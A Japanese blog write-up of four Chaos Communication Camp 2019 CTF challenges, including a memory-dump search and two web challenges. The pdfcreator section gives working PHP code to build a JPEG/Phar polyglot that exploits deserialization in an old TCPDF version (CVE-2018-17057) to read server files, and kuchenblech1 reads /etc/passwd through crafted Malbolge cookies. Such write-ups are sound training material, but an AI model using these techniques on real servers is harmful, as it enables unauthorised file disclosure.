st98 の日記帳


[ctf] Chaos Communication Camp 2019 CTF の write-up

8 月 23 日から 8 月 25 日にかけて開催された Chaos Communication Camp 2019 CTF に、チーム zer0pts として参加しました。最終的にチームで 421 点を獲得し、順位は得点 360 チーム中 40 位でした。うち、私は 4 問を解いて 421 点を入れました。

以下、私が解いた問題の writeup です。

Misc

Sanity Check (38)

Pay our IRC channel a visit :^)

公式の IRC チャンネルに入ると、トピックにフラグが設定されていました。

(フラグをメモしていませんでした🐈)

Forensics

FlagConverter Part 1 (43)

On the campground of the CCCamp, someone is trying to troll us by encrypting our flags. Sadly, we only got the memory dump of the PC which encrypted our flags.

Please provide us with the flag which is not yet encrypted.

添付ファイル: flagconverter.7z

flagconverter.7z を展開すると flagconverter.dmp というメモリダンプのファイルが出てきました。他の問題からこの問題でもフラグは ALLES{ から始まると推測し、バイナリエディタで検索してみるとフラグが綺麗な状態で残っていました。

ALLES{f0r3n51k_15_50m3t1m35_t00_345y}

Web

pdfcreator (116)

A pdf conversion service. What could go wrong?

(URL)

添付ファイル: code.zip (ソースコード)

pdfcreator は、PNG や JPEG 等の画像をアップロードすると以下のような HTML が編集可能な形で textarea に出力され、送信すると入力した HTML を元にした PDF が出力されるという Web アプリケーションでした。

 <h1>Converted by CoolPDF</h1><h3>We hope you enjoyed our service!</h3>
	 <img src="upload/947b4c3d90fffd2b7c7aa1a2498dd2e2.png">

私が問題を確認した時点で、ptr-yudai さんによって PDF の生成には TCPDF というライブラリが使われており、またソースコードに含まれている TCPDF のバージョンは 6.2.19 と古く、CVE-2018-17057 という Phar を使った Insecure Deserialization ができる脆弱性が存在していることが分かっていました。

この脆弱性を利用できないか __destruct__construct のようなマジックメソッドを持つクラスを探していると、creator.php に以下のようなコードが見つかりました。

<?php
namespace PDFStuff
{
include 'TCPDF/tcpdf.php';

class PDFCreator
{
   public $tmpfile;
   public $finalfile;

   function __construct()
   {

   }
   

    function __destruct()
   {
      if (file_exists($this->tmpfile))
      {
        $info = pathinfo($this->tmpfile);
        if ($info['extension'] == "pdf")
        {
          unlink($this->tmpfile);
        }
        else
        {
          echo "Could not delete created PDF: Not a pdf. Check the file: " . file_get_contents($this->tmpfile);
        }
      }
   }
}
}

PDFStuff\PDFCreator という使えそうなクラスが見つかりました。オブジェクトの破棄時に、$tmpfile というプロパティの拡張子が pdf でなければ、$tmpfilefile_get_contents で読み込んで出力する処理をしています。これを使えば拡張子が pdf でないファイルの内容を取得することができそうです。

読み込むと PDFStuff\PDFCreator のオブジェクトがデシリアライズされるような文字列を作りましょう。まず、以下のような内容の pdfcreator.php というファイルを作ります。

<?php
namespace PDFStuff {
  class PDFCreator {
    public $tmpfile;
    function __construct($tmpfile) {
      $this->tmpfile = $tmpfile;
    }
  }
}

続いて、ファイルのアップロード時の画像であるかどうかのチェックをごまかせるよう、JPEG と Phar の Polyglot を生成する make_payload.php を作ります。

<?php
include 'pdfcreator.php';

$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('a.txt', 'a');
$phar->setStub(file_get_contents('base.jpg') . '<?php __HALT_COMPILER(); ? >'); // base.jpg に適当な JPEG を置いておく
$phar->setMetadata(new PDFStuff\PDFCreator('/etc/passwd'));
$phar->stopBuffering();

php -d phar.readonly=0 make_payload.php && mv payload.phar payload.jpg を実行し、生成された payload.jpg をアップロードしてから <link type="text/css" href="phar://./upload/(アップロード後のファイル名).jpg"> という HTML で PDF を生成すると、以下のようなエラーが出力されました。

Could not delete created PDF: Not a pdf. Check the file: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

/etc/passwd が得られました!

では、フラグを探していきましょう。ソースコードから Web サーバのドキュメントルートに flag.php というファイル名で存在していることは分かっていますが、make_payload.php/etc/passwdflag.php../flag.php 等に変えても何も出力されません。Web サーバのドキュメントルートを特定するところから始めていきましょう。

HTTP レスポンスヘッダを見ると Server: Apache/2.4.18 (Ubuntu) とあり、Web サーバには Apache HTTP Server が使われていることが分かります。デフォルトの設定がある /etc/apache2/sites-available/000-default.conf を読み込んでみると、以下のように出力されました。

<VirtualHost *:80>
  ServerAdmin me@mydomain.com
  DocumentRoot /var/www/site

  <Directory /var/www/site/>
      Options Indexes FollowSymLinks MultiViews
      AllowOverride All
      Order deny,allow
      Allow from all
  </Directory>

  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

ドキュメントルートは /var/www/site のようです。/var/www/site/flag.php を読み込んでみると、以下のように出力されました。

<?php

$flag = "ALLES{phar_jpeg_polyglot_madness_such_w0w}";

フラグが得られました。

ALLES{phar_jpeg_polyglot_madness_such_w0w}

kuchenblech1 (224)

This Challenge can only be solved by the chosen one. While many have tried, no one has ever managed to solve it. Think you can do it? Then go ahead. But be warned, all your skills are going to be put to the test…

(URL)

Hint 1: Cookies are a very esoteric concept!
Hint 2: We agree, this challenge comes straight out of the eighth circle of hell

与えられた URL にアクセスすると、ユーザ名とパスワードを入力するログインフォームが表示されました。登録ページへのリンクもありましたが、以下のような HTML でした。

<div class="link"><div id="left">Need an account?</div><div id="right" onclick="document.cookie='p=KCcmJTpeIiE2fTRYenl4Ly5SdHNyLygnS21ra2pofkRmZWRieD5fXzo6W3FJWDU0VTIxUlJRZmUrTEtLSklHXSMhRFl8QWloeTw8dlY5N01xNTRJSGxqRWloSEFkYz50JjtxI1xKWkg6WHkxVUIuUixQcSlNb0pKN2tHaURE;path=/';document.location='/'">Register</div></div>

パスはそのままで、Cookie の p を書き換えてからリロードするようです。ログインボタンは <div class="btn" onclick="handle_login()"><div>Login</div></div> といったように、クリック時に handle_login 関数を呼ぶという実装がされています。handle_login では以下のように、ログインに成功した場合にも同様に Cookie を書き換えてリロードを行うようです。

    var handle_login =()=>{
        let payload={
            username: document.getElementById('username').value,
            password: document.getElementById('password').value
        }
        fetch("/", {
            method:'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(payload)
        }).then(r=>{
            return r.json()
        }).then(r=>{
            if(r['status']==0){
                display_error(r['msg'])
            }else{
                document.cookie='p=KCclJTpeIn59fXt6ejFVd3V0dCswKShMbm1rKSJGaGckIyJ5Pz1PXyk6eFtZb3RzbDJTb2guT2UrdmhnOV9HJDUiIV9eV0A='
                document.location='/'
            }
        }).catch(e=> {
            display_error('Bad Request')
        })
    }

また、最初に問題文の URL にアクセスしたとき、Cookie の p には KCcmJDpeIiF9fDRYenl3NS5SdHNycSgnS21saighRWdmZSJ5P2E8PE06OTg3WTVXVVRTUi9RbGVkY2JLJ0lIR0ZufjJBe1xoPT07dTp0VHI2SzRuIWxrWFdoQmZlZGNicyRNcD5%2BW0hZV1ZEVWZlUVFyKk5M がセットされていました。どうやら、この Web アプリケーションでは Cookie を使って表示するページの管理を行っているようです。

Cookie の p をデコードしてみましょう。DevTools の Console で atob(decodeURIComponent('KCcmJDpeIiF9fDRYenl3NS5SdHNycSgnS21saighRWdmZSJ5P2E8PE06OTg3WTVXVVRTUi9RbGVkY2JLJ0lIR0ZufjJBe1xoPT07dTp0VHI2SzRuIWxrWFdoQmZlZGNicyRNcD5%2BW0hZV1ZEVWZlUVFyKk5M')) を実行すると、以下のような文字列が出てきました。

('&$:^"!}|4Xzyw5.Rtsrq('Kmlj(!Egfe"y?a<<M:987Y5WUTSR/QledcbK'IHGFn~2A{\h==;u:tTr6K4n!lkXWhBfedcbs$Mp>~[HYWVDUfeQQr*NL

ランダムな文字列のように見えますが、問題文の Hint 2 から Malbolge のコードと推測できます。適当な Malbolge インタプリタで実行すると、どうやらこれは login.php という文字列を出力するコードであると分かりました。サーバ側では、Cookie の p を Base64 デコード → Malbolge インタプリタで実行 → 出力された文字列を include もしくは readfile 等で出力、というような実装をしているのでしょう。

好きな文字列を出力する Malbolge コードを作れるツールを使ってどんなファイルが読み込めるか試してみましょう。/etc/passwd を出力するコードをこのツールで生成し、copy(encodeURIComponent(btoa(document.getElementById('gen-result-area').value))) を DevTools の Console で実行して Base64 エンコード + パーセントエンコードを行います。適当なアカウントを作って登録してからログインし、コピーされた文字列を Cookie の p にセットしてリロードすると、以下のように出力されました。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin

/etc/passwd を読み込むことができました! フラグを探していろいろ試していると、/flag にフラグがありました。

ALLES{winner_winner_chicken_dinner}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳